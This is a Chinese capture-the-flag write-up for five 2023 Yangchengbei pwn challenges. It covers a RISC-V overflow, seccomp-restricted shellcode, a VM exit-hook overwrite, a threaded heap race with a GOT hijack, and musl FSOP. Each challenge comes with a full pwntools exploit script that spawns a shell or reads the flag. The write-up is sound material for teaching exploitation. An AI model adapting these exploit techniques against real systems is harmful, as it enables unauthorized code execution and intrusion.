2023 羊城杯

链接:https://pan.baidu.com/s/1_1KIhSyo5p8qDfCraXSh5Q
提取码:n05i

login

risc-v pwn,给了后门,可以用cat fl*绕过

size_t的sVar1被byte截断存在溢出,比如0x107被byte截断0x07

image-20230907232659311

from pwn import *
from LibcSearcher import *
context(os='linux',arch='riscv')
pwnfile='./pwn'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
# io=process(["qemu-riscv64","-g", "1234","-L","/usr/riscv64-linux-gnu/","./pwn"])#调试
io=process(["qemu-riscv64","-L","/usr/riscv64-linux-gnu/","./pwn"])#
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
padding=b'a'*256
backdor=0x123456ee
payload=flat(padding,backdor)
sa(b' name:',b'gr')
sa(b'words',payload)
sa(b'exec',b'cat fl*')
io.interactive()

shellcode

开了沙箱,限制了read的fd要<=2,write的fd必须大于2,所幸可以使用dup2

0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002  if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021  if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000  if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002  if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0020: 0x06 0x00 0x00 0x00000000  return KILL

可以执行我们输入的shellcode,最长17个字节,shellcode范围在[0x4F,0x5f],但是最后一bit shellcode没有检测

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./shellcode'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# dbpie('0x14F2')
sa(b'no)',asm('syscall'))
shellcode='''
push rax
pop rax
push rax
pop rax#fake padding
push rbx
pop rax#0
pop rsi
pop rsi
pop rsi#0x7ffd451d99c0 ◂— 0x50f
push rax
pop rdi#0
push rsi
pop rsp
pop rdx#0x50f
push rdx
push rsi
ret
'''
print(len(asm(shellcode)))
sa(b'===\n',asm(shellcode))
orw_dup2='''
push 0x67616c66
mov rdi,rsp
xor esi,esi
mov eax,2
syscall #open

mov rax,0x21
mov rdi,0x3
mov rsi,0x2
syscall#dup2(3,2)
xor rax,rax
mov rsi,rsp
push 0x2
pop rdi
mov rdx,0x30
syscall #read(2,rsp,0x30)
mov rax,0x21
mov rdi,0x1
mov rsi,0x5
syscall#dup2(1,5)
mov rax,0x1
mov rsi,rsp
mov rdi,0x5
syscall#write(5,rsp)
'''
pause()
s(b'aa'+asm(orw_dup2))
io.interactive()

easy_vm

qword_201040里含有残余的unsortedbin,程序具有任意写,可以利用偏移确认ogg,写exithook

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# dbpie('0x9A4 ')#3
# dbpie('0x0ABC')#exit
ogg=[0x45206,0x4525a,0xef9f4,0xf0897]
code=flat(
2,
7,0x3c3b78,#libc_base
6,ogg[3],
1,#*(_QWORD *)qword_201040=ogg
7,ogg[3],
6,0x626f48,#exit_hook=qword_201040=ogg
3
)
# pause()
sa(b'code:',code)
io.interactive()

heap

多线程堆题,每个操作都会起一个线程

每个paper会分配一个0x10管理结构

struct paper
{
void *content_ptr;
int len;
};

edit里存在条件竞争导致的堆溢出,如果此时edit paper->len=0x68大小的paper,sleep期间,这个paper被释放,并申请了一个长度为0x58大小的paper B,paper B就可以造成0x10大小的堆溢出,可以覆盖掉下一个paper C的管理结构控制content_ptr实现泄露地址和任意地址写

image-20230908171035483

子进程分配堆时,在页开始的0x8a0处是指向main_arena的指针,可以用来泄露libc

image-20230908172332090

strtok函数会调用strspn_sse42函数

image-20230908181202295

strspn_sse42的got是可写的可以劫持为system

image-20230908181402318

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./heap'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def add(content):
io.sendlineafter(b'Your chocie:\n\n', b'1 ' + content)

def edit(index, content):
io.sendlineafter(b'Your chocie:\n\n', b'3 ' + str(index).encode() + b':' + content)

def delete(index):
io.sendlineafter(b'Your chocie:\n\n', b'4 ' + str(index).encode())

def show(index):
io.sendlineafter(b'Your chocie:\n\n', b'2 ' + str(index).encode())
# dbpie('0x14CB')
# dbpie('0x1955')
# dbpie('0x1509')#mallco
# dbpie('0x1667')#delete
add(b"a"*0x62)
edit(0,b"d"*0x60+b"\xa0\x08")
delete(0)
add(b"b"*0x58)#0
add(b"c"*0x58)#1
# pause()
sleep(2)
show(1)
ru(b'nt: ')
libc_base=uu64(r(6))-0x219c80
p('libcbase',libc_base)
system=libc_base+libcelf.sym["system"]
sl(b'1 '+b"a"*0x68)
edit(2,b"b"*0x60+p64(libc_base+0x219058-0x50))
delete(2)
add(b"a"*0x58)#2
add(b"a"*0x58)#3
sleep(2)
edit(3,b"a"*0x50+p64(system))
sleep(2)
sl(b'/bin/sh\x00')
io.interactive()

2.35 exit前加锁函数变为了pthread_mutex_lock,存储在 ___rtld_mutex_lock中,但是这个地址不可写了

image-20230908183549480

image-20230908183435298

或者可以改elf的link_map->Elf64_Addr l_addr使.fini变为ogg

或者可以通过environ泄露栈地址,通过偏移修改返回地址为ogg

cookiebox

grxer@Ubuntu22 ~/s/m/2/c/t/P/cookieBox> ./libc.so
musl libc (x86_64)
Version 1.1.24
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]

1.1.24 musl pwn 这篇文章比较详细 https://www.anquanke.com/post/id/202253

patch方法

patchelf --set-interpreter ./libc.so ./cookiebox

delete时存在uaf可以,虽然在edit和show时还有个大小检测,但是利用之前残余的指针来释放现有的堆,绕过这个大小检测

申请过程中有类似glibc中unlink的操作

// src/malloc/malloc.c L188-L213
static void unbin(struct chunk *c, int i)//c为要取出的堆
{
// 若 bin 只有一个 chunk,将 bin 设为空 bin
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
// 取出链表中的 chunk
c->prev->next = c->next;
c->next->prev = c->prev;
// 设置 INUSE 标志位
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}

可以实现写地址,覆盖bin->head为stdin-0x20,打FSOP即可,要注意stdin-0x10和-0x8处存放的地址要可写

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./cookieBox'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def menu(index):
io.sendafter(b'>>', str(index).encode())
def add(size, content=b'a'):
menu(1)
io.sendafter(b'input the size:', str(size).encode())
io.sendafter(b'input the Content:', content)
def show(index):
menu(4)
io.sendafter(b'input the idx:', str(index).encode())
def edit(index, content):
menu(3)
io.sendafter(b'input the idx:', str(index).encode())
io.sendafter(b'input the content:', content)
def delete(index):
menu(2)
io.sendafter(b'input the idx:', str(index).encode())
# db('0x0400AA8')#malloc
# db('0x0400BB3')#free
add(0x70,b'a'*8)
add(0x70,b'b'*8)
add(0x70,b'c'*8)#2
add(0x70,b'c'*8)#3
show(0)
ru(b'a'*8)
libc=uu64(r(6))-0x292e50
stdin=libc+0x292200
system=libc+0x42688
heap=libc+ 0x292b00
p('libc',libc)
delete(1)
add(0x70) #4
delete(1)
#为了申请stdin时他的next和prec可写 同时会使他的bitmap位置零
edit(4,p64(stdin-0x20) + p64(stdin-0x20))
add(0x70) # 5
delete(1)
edit(4, p64(heap) + p64(stdin - 0x20))
add(0x70)#6
# db('0x0400AA8')#malloc
payload=b'a' * 0x10
payload += b"/bin/sh\x00" # stdin->flags
payload += b'X' * 32
payload += p64(0xdeadbeef) # stdin->wpos
payload += b'X' * 8
payload += p64(0xbeefdead) # stdin->wbase
payload += b'X' * 8
payload += p64(system) # stdin->write
add(0x70,payload)#7
menu(5)
io.interactive()

image-20230910004155958